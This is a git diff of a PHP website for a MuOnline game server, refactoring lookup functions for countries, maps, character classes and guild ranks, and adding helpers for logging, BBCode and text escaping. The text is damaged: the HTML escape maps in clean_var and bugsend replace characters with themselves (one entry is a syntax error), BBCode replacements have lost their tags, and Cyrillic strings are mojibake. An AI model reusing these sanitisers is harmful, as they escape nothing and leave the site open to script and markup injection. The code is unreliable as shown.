elseif($country==58){$country = "Ireland";} - elseif($country==59){$country = "Israel";} - elseif($country==60){$country = "Italy";} - elseif($country==61){$country = "Jamaica";} - elseif($country==62){$country = "Japan";} - elseif($country==63){$country = "Jordan";} - elseif($country==64){$country = "Kazakstan";} - elseif($country==65){$country = "Kenya";} - elseif($country==66){$country = "Korea";} - elseif($country==67){$country = "Korea, South";} - elseif($country==68){$country = "Kuwait";} - elseif($country==69){$country = "Latvia";} - elseif($country==70){$country = "Lebanon";} - elseif($country==71){$country = "Liberia";} - elseif($country==72){$country = "Libya";} - elseif($country==73){$country = "Lithuania";} - elseif($country==74){$country = "Luxembourg";} - elseif($country==75){$country = "Madagascar";} - elseif($country==76){$country = "Malawi";} - elseif($country==77){$country = "Malaysia";} - elseif($country==78){$country = "Mali";} - elseif($country==79){$country = "Malta";} - elseif($country==80){$country = "Mexico";} - elseif($country==81){$country = "Moldova";} - elseif($country==82){$country = "Mongolia";} - elseif($country==83){$country = "Morocco";} - elseif($country==84){$country = "Mozambique";} - elseif($country==85){$country = "Myanmar (Burma)";} - elseif($country==86){$country = "Namibia";} - elseif($country==87){$country = "Netherlands";} - elseif($country==88){$country = "New Zealand";} - elseif($country==89){$country = "Nicaragua";} - elseif($country==90){$country = "Niger";} - elseif($country==91){$country = "Nigeria";} - elseif($country==92){$country = "Norway";} - elseif($country==93){$country = "Oman";} - elseif($country==94){$country = "Pakistan";} - elseif($country==95){$country = "Panama";} - elseif($country==96){$country = "Papua New Guinea";} - elseif($country==97){$country = "Paraguay";} - elseif($country==98){$country = "Peru";} - elseif($country==99){$country = "Philippines";} - elseif($country==100){$country = "Poland";} - elseif($country==101){$country = "Portugal";} - elseif($country==102){$country = "Qatar";} - elseif($country==103){$country = "Romania";} - elseif($country==104){$country = "Russia";} - elseif($country==105){$country = "Saudi Arabia";} - elseif($country==106){$country = "Senegal";} - elseif($country==107){$country = "Serbia";} - elseif($country==108){$country = "Sierra Leone";} - elseif($country==109){$country = "Singapore";} - elseif($country==110){$country = "Slovakia";} - elseif($country==111){$country = "Slovenia";} - elseif($country==112){$country = "Somalia";} - elseif($country==113){$country = "South Africa";} - elseif($country==114){$country = "Spain";} - elseif($country==115){$country = "Sri Lanka";} - elseif($country==116){$country = "Sudan";} - elseif($country==117){$country = "Suriname";} - elseif($country==118){$country = "Sweden";} - elseif($country==119){$country = "Switzerland";} - elseif($country==120){$country = "Syria";} - elseif($country==121){$country = "Taiwan";} - elseif($country==122){$country = "Tanzania";} - elseif($country==123){$country = "Thailand";} - elseif($country==124){$country = "Togo";} - elseif($country==125){$country = "Trinidad";} - elseif($country==126){$country = "Tunisia";} - elseif($country==127){$country = "Turkey";} - elseif($country==128){$country = "Uganda";} - elseif($country==129){$country = "Ukraine";} - elseif($country==130){$country = "United Arab Emirates";} - elseif($country==131){$country = "United Kingdom";} - elseif($country==132){$country = "United States";} - elseif($country==133){$country = "Uruguay";} - elseif($country==134){$country = "Venezuela";} - elseif($country==135){$country = "Vietnam";} - elseif($country==136){$country = "Yemen";} - elseif($country==137){$country = "Zambia";} - elseif($country==138){$country = "Zimbabwe";} - else{$country = "Unknow";} - return $country; -} -/////// END Country Formats /////// - - - - - - - - - -/////// Start Map Formats /////// -function map($map) { - if($map == 0){$map = 'Lorencia';} - elseif($map == 1){$map = 'Dungeon';} - elseif($map == 2){$map = 'Devias';} - elseif($map == 3){$map = 'Noria';} - elseif($map == 4){$map = 'LostTower';} - elseif($map == 5){$map = 'PlaceOfExil';} - elseif($map == 6){$map = 'Stadium';} - elseif($map == 7){$map = 'Atlans';} - elseif($map == 8){$map = 'Tarkan';} - elseif($map == 9){$map = 'Devil Square';} - elseif($map == 10){$map = 'Icarus';} - elseif($map == 11){$map = 'Blood Castle 1';} - elseif($map == 12){$map = 'Blood Castle 2';} - elseif($map == 13){$map = 'Blood Castle 3';} - elseif($map == 14){$map = 'Blood Castle 4';} - elseif($map == 15){$map = 'Blood Castle 5';} - elseif($map == 16){$map = 'Blood Castle 6';} - elseif($map == 17){$map = 'Blood Castle 7';} - elseif($map == 18){$map = 'Chaos Castle 1';} - elseif($map == 19){$map = 'Chaos Castle 2';} - elseif($map == 20){$map = 'Chaos Castle 3';} - elseif($map == 21){$map = 'Chaos Castle 4';} - elseif($map == 22){$map = 'Chaos Castle 5';} - elseif($map == 23){$map = 'Chaos Castle 6';} - elseif($map == 24){$map = 'Kalima 1';} - elseif($map == 25){$map = 'Kalima 2';} - elseif($map == 26){$map = 'Kalima 3';} - elseif($map == 27){$map = 'Kalima 4';} - elseif($map == 28){$map = 'Kalima 5';} - elseif($map == 29){$map = 'Kalima 6';} - elseif($map == 30){$map = 'Valley Of Loren';} - elseif($map == 31){$map = 'Lands Of Trials';} - elseif($map == 32){$map = 'Devil Square';} - elseif($map == 33){$map = 'Aida';} - elseif($map == 34){$map = 'CryWolf';} - elseif($map == 36){$map = 'Kalima 7';} - elseif($map == 37){$map = 'Kantru 1';} - elseif($map == 38){$map = 'Kantru 2';} - elseif($map == 39){$map = 'Kantru 3';} - elseif($map == 40){$map = 'Silent';} - elseif($map == 41){$map = 'Refuge';} - elseif($map == 42){$map = 'Barracks';} - elseif($map == 45){$map = 'Illusion 1';} - elseif($map == 46){$map = 'Illusion 2';} - elseif($map == 47){$map = 'Illusion 3';} - elseif($map == 48){$map = 'Illusion 4';} - elseif($map == 49){$map = 'Illusion 5';} - elseif($map == 50){$map = 'Illusion 6';} - elseif($map == 51){$map = 'Elbeland';} - elseif($map == 52){$map = 'Blood Castle 8';} - elseif($map == 53){$map = 'Chaos Castle 7';} - elseif($map == 56){$map = 'Swamp Of Calmness';} - elseif($map == 57){$map = 'Raklion';} - else{$map = 'Unknow';} - return $map; -} -/////// END Map Formats /////// - - - - - - - -/////// Start PK Status Formats /////// -function pkstatus($pkstatus) { - if($pkstatus == 1){$pkstatus = 'Hero';} - elseif($pkstatus == 2){$pkstatus = 'Commoner';} - elseif($pkstatus == 3){$pkstatus = 'Normal';} - elseif($pkstatus == 4){$pkstatus = 'Outlaw Warning';} - elseif($pkstatus == 5){$pkstatus = '1 Outlaw';} - elseif($pkstatus == 6){$pkstatus = '2 Outlaw';} - else{$pkstatus = 'Unknow';} - return $pkstatus; -} -/////// END PK Status Formats /////// - - - - - - -/////// Start Guild Status Formats /////// -function guild_status($num) { -if($num == 0){$num = mmw_lang_guild_member;} - elseif($num == 32){$num = mmw_lang_battle_master;} - elseif($num == 64){$num = mmw_lang_assistant_guild_master;} - elseif($num == 128){$num = mmw_lang_guild_master;} - else{$num = 'Unknow';} - return $num; -} -/////// END Guild Status Formats /////// - - - - - - -/////// Start CtlCode Formats /////// -function CtlCode($num) { - if($num == 0) {$result = 'Member';} - elseif($num == 1) {$result = 'Blocked';} - elseif($num == 8 || $num == 32) {$result = 'Game Master';} - else {$result = 'Unknow';} - return $result; -} -/////// END CtlCode Formats /////// - - - - - - -/////// Start Gender Formats /////// -function gender($gender) { - if($gender == 'male'){$gender = mmw_lang_male.' ';} - elseif($gender == 'female'){$gender = mmw_lang_female.' ';} - else{$gender = 'Unknow';} - return $gender; -} -/////// END Gender Formats /////// - - - - - - - -/////// Start Class Formats /////// -function char_class($class,$style=NULL) { - if(empty($style)) {$style = 'off';} - - if($class == 0){$class_row1 = array('off'=>'DW','full'=>'Dark Wizard');} - elseif($class == 1){$class_row1 = array('off'=>'SM','full'=>'Soul Master');} - elseif($class == 2 || $class == 3){$class_row1 = array('off'=>'GrM','full'=>'Grand Master');} - elseif($class == 16){$class_row1 = array('off'=>'DK','full'=>'Dark Knight');} - elseif($class == 17){$class_row1 = array('off'=>'BK','full'=>'Blade Knight');} - elseif($class == 18 || $class == 19){$class_row1 = array('off'=>'BM','full'=>'Blade Master');} - elseif($class == 32){$class_row1 = array('off'=>'Elf','full'=>'Fairy Elf');} - elseif($class == 33){$class_row1 = array('off'=>'ME','full'=>'Muse Elf');} - elseif($class == 34 || $class == 35){$class_row1 = array('off'=>'HE','full'=>'High Elf');} - elseif($class == 48){$class_row1 = array('off'=>'MG','full'=>'Magic Gladiator');} - elseif($class == 49 || $class == 50){$class_row1 = array('off'=>'DM','full'=>'Duel Master');} - elseif($class == 64){$class_row1 = array('off'=>'DL','full'=>'Dark Lord');} - elseif($class == 65 || $class == 66){$class_row1 = array('off'=>'LE','full'=>'Lord Emperor');} - elseif($class == 80){$class_row1 = array('off'=>'Sum','full'=>'Summoner');} - elseif($class == 81){$class_row1 = array('off'=>'Bsum','full'=>'Bloody Summoner');} - elseif($class == 82 || $class == 83){$class_row1 = array('off'=>'Dim','full'=>'Dimension Master');} - else{$class_row1 = array('off'=>'Unknow','full'=>'Unknow');} - - if($class >= 0 && $class <= 15){$class_row2 = array('img'=>'char/dw.gif','photo'=>'0x00FFFFFFFFFF000000F80000F0FFFFFF');} - elseif($class >= 16 && $class <= 31){$class_row2 = array('img'=>'char/dk.gif','photo'=>'0x20FFFFFFFFFF000000F80000F0FFFFFF');} - elseif($class >= 32 && $class <= 47){$class_row2 = array('img'=>'char/ef.gif','photo'=>'0x40FFFFFFFFFF000000F80000F0FFFFFF');} - elseif($class >= 48 && $class <= 63){$class_row2 = array('img'=>'char/mg.gif','photo'=>'0x60FFFFFFFFFF000000F80000F0FFFFFF');} - elseif($class >= 64 && $class <= 79){$class_row2 = array('img'=>'char/dl.gif','photo'=>'0x80FFFFFFFFFF000000F80000F0FFFFFF');} - elseif($class >= 80 && $class <= 95){$class_row2 = array('img'=>'char/sm.gif','photo'=>'0xA0FFFFFFFFFF000000F80000F0FFFFFF');} - else{$class_row2 = array('img'=>'Unknow','photo'=>'0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF');} - - return $class_row1[$style].$class_row2[$style]; -} -/////// END Class Formats /////// - - - - - - - -/////// Start Win to UTF Formats /////// -function win_to_utf($s) { - $s = str_replace('¸','å',$s); - for($i=0, $m=strlen($s); $i<$m; $i++) { - $c=ord($s[$i]); - if($c<=127) {$t.=chr($c); continue;} - if($c>=192 && $c<=207) {$t.=chr(208).chr($c-48); continue;} - if($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue;} - if($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue;} - if($c==184) {$t.=chr(209).chr(209); continue;}; - if($c==168) {$t.=chr(208).chr(129); continue;}; - } - return $t; -} -/////// END Win to UTF Formats /////// - - - - - - - -/////// Start UTF to Win Formats /////// -function utf_to_win($str) { - $str_array = array(win_to_utf('a')=>'à',win_to_utf('á')=>'á',win_to_utf('â')=>'â',win_to_utf('ã')=>'ã', - win_to_utf('ä')=>'ä',win_to_utf('å')=>'å',win_to_utf('¸')=>'¸',win_to_utf('æ')=>'æ',win_to_utf('ç')=>'ç', - win_to_utf('è')=>'è',win_to_utf('é')=>'é',win_to_utf('ê')=>'ê',win_to_utf('ë')=>'ë',win_to_utf('ì')=>'ì', - win_to_utf('í')=>'í',win_to_utf('î')=>'î',win_to_utf('ï')=>'ï',win_to_utf('ð')=>'ð',win_to_utf('ñ')=>'ñ', - win_to_utf('ò')=>'ò',win_to_utf('ó')=>'ó',win_to_utf('ô')=>'ô',win_to_utf('õ')=>'õ',win_to_utf('ö')=>'ö', - win_to_utf('÷')=>'÷',win_to_utf('ø')=>'ø',win_to_utf('ù')=>'ù',win_to_utf('ú')=>'ú',win_to_utf('û')=>'û', - win_to_utf('ü')=>'ü',win_to_utf('ý')=>'ý',win_to_utf('þ')=>'þ',win_to_utf('ÿ')=>'ÿ', - win_to_utf('À')=>'À',win_to_utf('Á')=>'Á',win_to_utf('Â')=>'Â',win_to_utf('Ã')=>'Ã',win_to_utf('Ä')=>'Ä', - win_to_utf('Å')=>'Å',win_to_utf('¨')=>'¨',win_to_utf('Æ')=>'Æ',win_to_utf('Ç')=>'Ç',win_to_utf('È')=>'È', - win_to_utf('É')=>'É',win_to_utf('Ê')=>'Ê',win_to_utf('Ë')=>'Ë',win_to_utf('Ì')=>'Ì',win_to_utf('Í')=>'Í', - win_to_utf('Î')=>'Î',win_to_utf('Ï')=>'Ï',win_to_utf('Ð')=>'Ð',win_to_utf('Ñ')=>'Ñ',win_to_utf('Ò')=>'Ò', - win_to_utf('Ó')=>'Ó',win_to_utf('Ô')=>'Ô',win_to_utf('Õ')=>'Õ',win_to_utf('Ö')=>'Ö',win_to_utf('×')=>'×', - win_to_utf('Ø')=>'Ø',win_to_utf('Ù')=>'Ù',win_to_utf('Ú')=>'Ú',win_to_utf('Û')=>'Û',win_to_utf('Ü')=>'Ü', - win_to_utf('Ý')=>'Ý',win_to_utf('Þ')=>'Þ',win_to_utf('ß')=>'ß'); - $str = strtr($str,$str_array); - return $str; -} -/////// END UTF to Win Formats /////// -?> \ No newline at end of file diff --git a/includes/forum_catalog.php b/includes/forum_catalog.php index efde96f..910bc0c 100644 --- a/includes/forum_catalog.php +++ b/includes/forum_catalog.php @@ -1,7 +1,6 @@ - array('News','News Forum and more. Read necessarily!',1), - 2 => array('Help and Advice','Help or advice with mu or something with it. ',0), - 3 => array('Sympathy Boxing, Flood','All that is not associated with MuOnline.',0), -); -?> \ No newline at end of file + array('News', 'News Forum and more. Read necessarily!', 1), + 2 => array('Help and Advice', 'Help or advice with mu or something with it. ', 0), + 3 => array('Sympathy Boxing, Flood', 'All that is not associated with MuOnline.', 0) +); \ No newline at end of file diff --git a/includes/func/img_resize.php b/includes/func/img_resize.php deleted file mode 100644 index f2c2f37..0000000 --- a/includes/func/img_resize.php +++ /dev/null @@ -1,38 +0,0 @@ - \ No newline at end of file diff --git a/includes/functions.php b/includes/functions.php new file mode 100644 index 0000000..9e7867d --- /dev/null +++ b/includes/functions.php @@ -0,0 +1,991 @@ + '*', + '%' => '%', + '\'' => ''', + ',' => ',', + '`' => '`', + //';' => ';', + //'.' => '.', + //':' => ':', + ); + return str_replace(array_keys($filter), array_values($filter), stripslashes($var)); +} + +/////// End Clean Var /////// + + +/////// Start Write Logs /////// +function writelog($logFile, $text) +{ + $dir = __DIR__ . '/../logs/'; + $row = $text . ', All Those On ' . date('d.m.Y H:i:s') . ' By ' . $_SERVER['REMOTE_ADDR'] . '' . PHP_EOL; + + $fp = fopen($dir . $logFile . '.php', 'a'); + fputs($fp, $row); + fclose($fp); +} + +/////// End Write Logs /////// + + +/////// Start Jump Link /////// +function jump($url) +{ + @header('Location: ' . $url); + die(''); +} + +/////// End Jump Link /////// + + +/////// Start MMW /////// +if (!function_exists('mmw')) { + /** + * ## Accepts files with .mmw extension only + * ![Example](http://mmw.clan.su/_fr/18/1415799.png) + * @see http://mymuweb.ru/forum/10-1882-1 + * @param string $patch + * @return void + */ + function mmw($patch) + { + // do something here + } +} +/////// End MMW /////// + + +/////// Start Time Format /////// +function time_format($date, $format = 'd.m.Y H:i') +{ + // Support SQL 2000(Rus) and 2005 + $formattedTime = 'd M Y, T'; + $date_row = explode(' ', $date); + + if (!preg_match('/^\d+$/', $date_row[1])) { + $day = $date_row[0]; + $month = $date_row[1]; + $year = $date_row[2]; + $time = empty($date_row[4]) + ? $date_row[3] + : $date_row[4]; + + switch ($month) { + case 'Ñнв': + $month = 'Jan'; + case 'фев': + $month = 'Feb'; + break; + case 'мар': + $month = 'Mar'; + break; + case 'апр': + $month = 'Apr'; + break; + case 'май': + $month = 'May'; + break; + case 'июн': + $month = 'Jun'; + break; + case 'июл': + $month = 'Jul'; + break; + case 'авг': + $month = 'Aug'; + break; + case 'Ñен': + $month = 'Sep'; + break; + case 'окт': + $month = 'Oct'; + break; + case 'ноÑ': + $month = 'Nov'; + break; + case 'дек': + $month = 'Dec'; + break; + } + } else { + $day = $date_row[1]; + $month = $date_row[0]; + $year = $date_row[2]; + $time = $date_row[4]; + } + + $formattedTime = str_replace( + array('d', 'M', 'Y', 'T'), + array($day, $month, $year, $time), + $formattedTime + ); + + return ($format === null) + ? strtotime($formattedTime) + : date($format, strtotime($formattedTime)); +} + +/////// End Time Format /////// + + +/////// Start Date Formats /////// +function date_formats($sTime, $eTime, $format = 'short') +{ + $diff = is_numeric($sTime) + ? $eTime - $sTime + : $eTime - strtotime($sTime); + + $seconds = 0; + $hours = 0; + $minutes = 0; + + // there are 86,400 seconds in a day + if ($diff % 86400 <= 0) { + $days = $diff / 86400; + } + + if ($diff % 86400 > 0) { + $rest = ($diff % 86400); + $days = ($diff - $rest) / 86400; + + if ($rest % 3600 > 0) { + $rest1 = ($rest % 3600); + $hours = ($rest - $rest1) / 3600; + if ($rest1 % 60 > 0) { + $rest2 = ($rest1 % 60); + $minutes = ($rest1 - $rest2) / 60; + $seconds = $rest2; + } else { + $minutes = $rest1 / 60; + } + } else { + $hours = $rest / 3600; + } + } + + return ($format === 'long') + ? ($days ? $days . ' days ' : '') . ($hours ? $hours . ' hours ' : '') . $minutes . ' minutes ' + : ($days ? $days . ' days ' : '') . ($hours ? $hours . 'h ' : '') . $minutes . 'm ' . $seconds . 's'; +} + +/////// END Date Formats /////// + + +/////// Start Week 2 String /////// +function week2str($num) +{ + switch ($num[1]) { + case 0: + return mmw_lang_week_mon; + case 1: + return mmw_lang_week_tue; + case 2: + return mmw_lang_week_wed; + case 3: + return mmw_lang_week_thu; + case 4: + return mmw_lang_week_fri; + case 5: + return mmw_lang_week_sat; + default: + return mmw_lang_week_sun; + } +} + +/////// END Week 2 String /////// + + +/////// Start Now Module ////// +function current_module() +{ + $currentModule = preg_replace('/[^\w_-]/', '', $_GET['op']); + if (isset($_GET['news'])) { + echo '> ' . mmw_lang_news . ''; + } elseif (isset($_GET['forum'])) { + echo '> ' . mmw_lang_forum . ''; + } else { + $label = defined('mmw_lang_' . $currentModule) + ? constant('mmw_lang_' . $currentModule) + : ucfirst($currentModule); + echo '> ' . $label . ''; + } + + if ($currentModule === 'user') { + echo !isset($_GET['u']) + ? ' > ' . mmw_lang_account_panel . '' + : ' > ' . ucfirst($_GET['u']) . ''; + } +} + +/** @deprecated Use current_module() */ +function curent_module() +{ + current_module(); +} + +/////// End Now Module /////// + + +/////// Start Default IMG ////// +function default_img($src) +{ + global $mmw; + return is_file($mmw['theme_img'] . '/' . $src) + ? $mmw['theme_img'] . '/' . $src + : 'images/' . $src; +} + +/////// End Default IMG /////// + + +/////// Start BBCode Formats /////// +function bbcode($text) +{ + $bbCode = array( + '/\[br\]/is' => '
', + '/\[hr\]/is' => '
', + '/\[b\](.*?)\[\/b\]/is' => '$1', + '/\[i\](.*?)\[\/i\]/is' => '$1', + '/\[u\](.*?)\[\/u\]/is' => '$1', + '/\[s\](.*?)\[\/s\]/is' => '$1', + '/\[o\](.*?)\[\/o\]/is' => '$1', + '/\[c\](.*?)\[\/c\]/is' => '
$1
', + '/\[l\](.*?)\[\/l\]/is' => '
$1
', + '/\[r\](.*?)\[\/r\]/is' => '
$1
', + '/\[center\](.*?)\[\/center\]/is' => '
$1
', + '/\[left\](.*?)\[\/left\]/is' => '
$1
', + '/\[right\](.*?)\[\/right\]/is' => '
$1
', + '/\[sup\](.*?)\[\/sup\]/is' => '$1', + '/\[sub\](.*?)\[\/sub\]/is' => '$1', + '/\[img\](.*?)\[\/img\]/is' => 'img', + '/\[color\=(.*?)\](.*?)\[\/color\]/is' => '$2', + '/\[font\=(.*?)\](.*?)\[\/font\]/is' => '$2', + '/\[size\=(.*?)\](.*?)\[\/size\]/is' => '$2', + '/\[url\=(.*?)\](.*?)\[\/url\]/is' => '$2', + '/\[video\].*youtube.com\/watch\?v=(.*?)\[\/video\]/is' => '', + ); + $text = preg_replace(array_keys($bbCode), array_values($bbCode), $text); + return $text; +} + +/////// END BBCode Formats /////// + + +/////// Start Smile Formats /////// +function smile($smile) +{ + $smile = str_replace(' >( ', ' angry ', $smile); + $smile = str_replace(' :D ', ' biggrin ', $smile); + $smile = str_replace(' B) ', ' cool ', $smile); + $smile = str_replace(' ;( ', ' cry ', $smile); + $smile = str_replace(' <_< ', ' dry ', $smile); + $smile = str_replace(' ^_^ ', ' happy ', $smile); + $smile = str_replace(' :( ', ' sad ', $smile); + $smile = str_replace(' :) ', ' smile ', $smile); + $smile = str_replace(' :o ', ' surprised ', $smile); + $smile = str_replace(' :p ', ' tongue ', $smile); + $smile = str_replace(' %) ', ' wacko ', $smile); + $smile = str_replace(' ;) ', ' wink ', $smile); + $smile = str_replace(' (hello) ', ' hello ', $smile); + $smile = str_replace(' (boo) ', ' bo ', $smile); + return $smile; +} + +/////// END Smile Formats /////// + + +/////// Start BugText Formats /////// +function bugsend($bug) +{ + $bug = str_replace('<', '<', $bug); + $bug = str_replace('>', '>', $bug); + //$bug = str_replace('&','&',$bug); + $bug = str_replace('"', '"', $bug); + //$bug = str_replace('/','/',$bug); + $bug = str_replace('?', '?', $bug); + //$bug = str_replace('—','—',$bug); + $bug = str_replace('\'', ''', $bug); + $bug = str_replace('!', '!', $bug); + $bug = str_replace('$', '$', $bug); + $bug = str_replace('%', '%', $bug); + $bug = str_replace('*', '*', $bug); + $bug = str_replace('+', '+', $bug); + $bug = str_replace("\n", '[br]', $bug); + $bug = str_replace("\r", ' ', $bug); + $bug = str_replace(chr(hexdec('5c')), '\', $bug); + return $bug; +} + +/////// END BugText Formats /////// + + +/////// Start Zen Formats /////// +function zen_format($money, $format = null) +{ + if (in_array($format, array('small', 'k'))) { + preg_match('/0+$/', $money, $match); + if (!empty($match[0])) { + $k = floor(strlen($match[0]) / 3); + $money = substr($money, 0, -3 * $k) . str_repeat('k', $k); + } + } else { + $money = number_format($money); + } + return $money; +} + +/////// END Zen Formats /////// + + +/////// Start Img resize /////// +function img_resize($imgSrc, $sizeW, $sizeH, $saveDir, $saveName) +{ + $saveDir .= (substr($saveDir, -1) != '/') ? '/' : ''; + $gis = getimagesize($imgSrc); + $type = $gis[2]; + switch ($type) { + case 1: + $imOrig = imagecreatefromgif($imgSrc); + break; + case 3: + $imOrig = imagecreatefrompng($imgSrc); + break; + default: + $imOrig = imagecreatefromjpeg($imgSrc); + } + + $width = imagesx($imOrig); + $height = imagesy($imOrig); + if ($gis[0] <= $sizeW && $gis[1] <= $sizeH) { + if (is_file($saveDir . $saveName)) { + unlink($saveDir . $saveName); + } + rename($imgSrc, $saveDir . $saveName); + return true; + } + + // длина иÑходной картинки + $editedWidth = $sizeW; + $newHeight = $height * $sizeW / $width; + // выÑота иÑходной картинки + if ($sizeH < $newHeight) { + $editedHeight = $sizeH; + $editedWidth = $sizeW * $sizeH / $newHeight; + } else { + $editedHeight = $newHeight; + } + + $im = imagecreatetruecolor($editedWidth, $editedHeight); + if (imagecopyresampled($im, $imOrig, 0, 0, 0, 0, $editedWidth, $editedHeight, $width, $height)) { + return imagejpeg($im, $saveDir . $saveName); + } + return false; +} + +/////// END Img resize /////// + + +/////// Start Points Formats /////// +function point_format($string = null) +{ + if ($string < 0) { + $string = 32768 + (32768 + $string); + } + return $string; +} + +/////// END Points Formats /////// + + +/////// Start Country Formats /////// +function country($country, $getList = false) +{ + $countries = array( + 1 => 'Albania', + 2 => 'Algeria', + 3 => 'Angola', + 4 => 'Argentina', + 5 => 'Armenia', + 6 => 'Australia', + 7 => 'Austria', + 8 => 'Azerbaijan', + 9 => 'Bahamas', + 10 => 'Bahrain', + 11 => 'Bangladesh', + 12 => 'Belarus', + 13 => 'Belgium', + 14 => 'Bolivia', + 15 => 'Botswana', + 16 => 'Brazil', + 17 => 'Brunei', + 18 => 'Bulgaria', + 19 => 'Burkina Faso', + 20 => 'Cameroon', + 21 => 'Canada', + 22 => 'Chile', + 23 => 'China', + 24 => 'Colombia', + 25 => 'Congo (Brazzaville)', + 26 => 'Congo DR', + 27 => 'Costa Rica', + 28 => 'Cote dIvoire', + 29 => 'Croatia', + 30 => 'Cuba', + 31 => 'Czech Republic', + 32 => 'Denmark', + 33 => 'Dominican Republic', + 34 => 'Ecuador', + 35 => 'Egypt', + 36 => 'El Salvador', + 37 => 'Estonia', + 38 => 'Ethiopia', + 39 => 'Finland', + 40 => 'France', + 41 => 'Gabon', + 42 => 'Gambia', + 43 => 'Germany', + 44 => 'Greece', + 45 => 'Guatemala', + 46 => 'Guinea', + 47 => 'Guinea-Bissau', + 48 => 'Guyana', + 49 => 'Haiti', + 50 => 'Honduras', + 51 => 'Hong Kong', + 52 => 'Hungary', + 53 => 'Iceland', + 54 => 'India', + 55 => 'Indonesia', + 56 => 'Iran', + 57 => 'Iraq', + 58 => 'Ireland', + 59 => 'Israel', + 60 => 'Italy', + 61 => 'Jamaica', + 62 => 'Japan', + 63 => 'Jordan', + 64 => 'Kazakstan', + 65 => 'Kenya', + 66 => 'Korea', + 67 => 'Korea, South', + 68 => 'Kuwait', + 69 => 'Latvia', + 70 => 'Lebanon', + 71 => 'Liberia', + 72 => 'Libya', + 73 => 'Lithuania', + 74 => 'Luxembourg', + 75 => 'Madagascar', + 76 => 'Malawi', + 77 => 'Malaysia', + 78 => 'Mali', + 79 => 'Malta', + 80 => 'Mexico', + 81 => 'Moldova', + 82 => 'Mongolia', + 83 => 'Morocco', + 84 => 'Mozambique', + 85 => 'Myanmar (Burma)', + 86 => 'Namibia', + 87 => 'Netherlands', + 88 => 'New Zealand', + 89 => 'Nicaragua', + 90 => 'Niger', + 91 => 'Nigeria', + 92 => 'Norway', + 93 => 'Oman', + 94 => 'Pakistan', + 95 => 'Panama', + 96 => 'Papua New Guinea', + 97 => 'Paraguay', + 98 => 'Peru', + 99 => 'Philippines', + 100 => 'Poland', + 101 => 'Portugal', + 102 => 'Qatar', + 103 => 'Romania', + 104 => 'Russia', + 105 => 'Saudi Arabia', + 106 => 'Senegal', + 107 => 'Serbia', + 108 => 'Sierra Leone', + 109 => 'Singapore', + 110 => 'Slovakia', + 111 => 'Slovenia', + 112 => 'Somalia', + 113 => 'South Africa', + 114 => 'Spain', + 115 => 'Sri Lanka', + 116 => 'Sudan', + 117 => 'Suriname', + 118 => 'Sweden', + 119 => 'Switzerland', + 120 => 'Syria', + 121 => 'Taiwan', + 122 => 'Tanzania', + 123 => 'Thailand', + 124 => 'Togo', + 125 => 'Trinidad', + 126 => 'Tunisia', + 127 => 'Turkey', + 128 => 'Uganda', + 129 => 'Ukraine', + 130 => 'United Arab Emirates', + 131 => 'United Kingdom', + 132 => 'United States', + 133 => 'Uruguay', + 134 => 'Venezuela', + 135 => 'Vietnam', + 136 => 'Yemen', + 137 => 'Zambia', + 138 => 'Zimbabwe' + ); + if ($getList) { + return $countries; + } + return isset($countries[$country]) + ? $countries[$country] + : 'unknown'; +} + +/////// END Country Formats /////// + + +/////// Start Map Formats /////// +function map($map) +{ + switch ($map) { + case 0: + $map = 'Lorencia'; + break; + case 1: + $map = 'Dungeon'; + break; + case 2: + $map = 'Devias'; + break; + case 3: + $map = 'Noria'; + break; + case 4: + $map = 'LostTower'; + break; + case 5: + $map = 'PlaceOfExil'; + break; + case 6: + $map = 'Stadium'; + break; + case 7: + $map = 'Atlans'; + break; + case 8: + $map = 'Tarkan'; + break; + case 9: + $map = 'Devil Square'; + break; + case 10: + $map = 'Icarus'; + break; + case 11: + $map = 'Blood Castle 1'; + break; + case 12: + $map = 'Blood Castle 2'; + break; + case 13: + $map = 'Blood Castle 3'; + break; + case 14: + $map = 'Blood Castle 4'; + break; + case 15: + $map = 'Blood Castle 5'; + break; + case 16: + $map = 'Blood Castle 6'; + break; + case 17: + $map = 'Blood Castle 7'; + break; + case 18: + $map = 'Chaos Castle 1'; + break; + case 19: + $map = 'Chaos Castle 2'; + break; + case 20: + $map = 'Chaos Castle 3'; + break; + case 21: + $map = 'Chaos Castle 4'; + break; + case 22: + $map = 'Chaos Castle 5'; + break; + case 23: + $map = 'Chaos Castle 6'; + break; + case 24: + $map = 'Kalima 1'; + break; + case 25: + $map = 'Kalima 2'; + break; + case 26: + $map = 'Kalima 3'; + break; + case 27: + $map = 'Kalima 4'; + break; + case 28: + $map = 'Kalima 5'; + break; + case 29: + $map = 'Kalima 6'; + break; + case 30: + $map = 'Valley Of Loren'; + break; + case 31: + $map = 'Lands Of Trials'; + break; + case 32: + $map = 'Devil Square'; + break; + case 33: + $map = 'Aida'; + break; + case 34: + $map = 'CryWolf'; + break; + case 36: + $map = 'Kalima 7'; + break; + case 37: + $map = 'Kantru 1'; + break; + case 38: + $map = 'Kantru 2'; + break; + case 39: + $map = 'Kantru 3'; + break; + case 40: + $map = 'Silent'; + break; + case 41: + $map = 'Refuge'; + break; + case 42: + $map = 'Barracks'; + break; + case 45: + $map = 'Illusion 1'; + break; + case 46: + $map = 'Illusion 2'; + break; + case 47: + $map = 'Illusion 3'; + break; + case 48: + $map = 'Illusion 4'; + break; + case 49: + $map = 'Illusion 5'; + break; + case 50: + $map = 'Illusion 6'; + break; + case 51: + $map = 'Elbeland'; + break; + case 52: + $map = 'Blood Castle 8'; + break; + case 53: + $map = 'Chaos Castle 7'; + break; + case 56: + $map = 'Swamp Of Calmness'; + break; + case 57: + $map = 'Raklion'; + break; + default: + $map = 'unknown'; + break; + } + return $map; +} + +/////// END Map Formats /////// + + +/////// Start PK Status Formats /////// +function pkstatus($pkStatus) +{ + switch ($pkStatus) { + case 1: + $pkStatus = 'Hero'; + break; + case 2: + $pkStatus = 'Commoner'; + break; + case 3: + $pkStatus = 'Normal'; + break; + case 4: + $pkStatus = 'Outlaw Warning'; + break; + case 5: + $pkStatus = '1 Outlaw'; + break; + case 6: + $pkStatus = '2 Outlaw'; + break; + default: + $pkStatus = 'unknown'; + break; + } + return $pkStatus; +} + +/////// END PK Status Formats /////// + + +/////// Start Guild Status Formats /////// +function guild_status($num) +{ + switch ($num) { + case 0: + $num = mmw_lang_guild_member; + break; + case 32: + $num = mmw_lang_battle_master; + break; + case 64: + $num = mmw_lang_assistant_guild_master; + break; + case 128: + $num = mmw_lang_guild_master; + break; + default: + $num = 'unknown'; 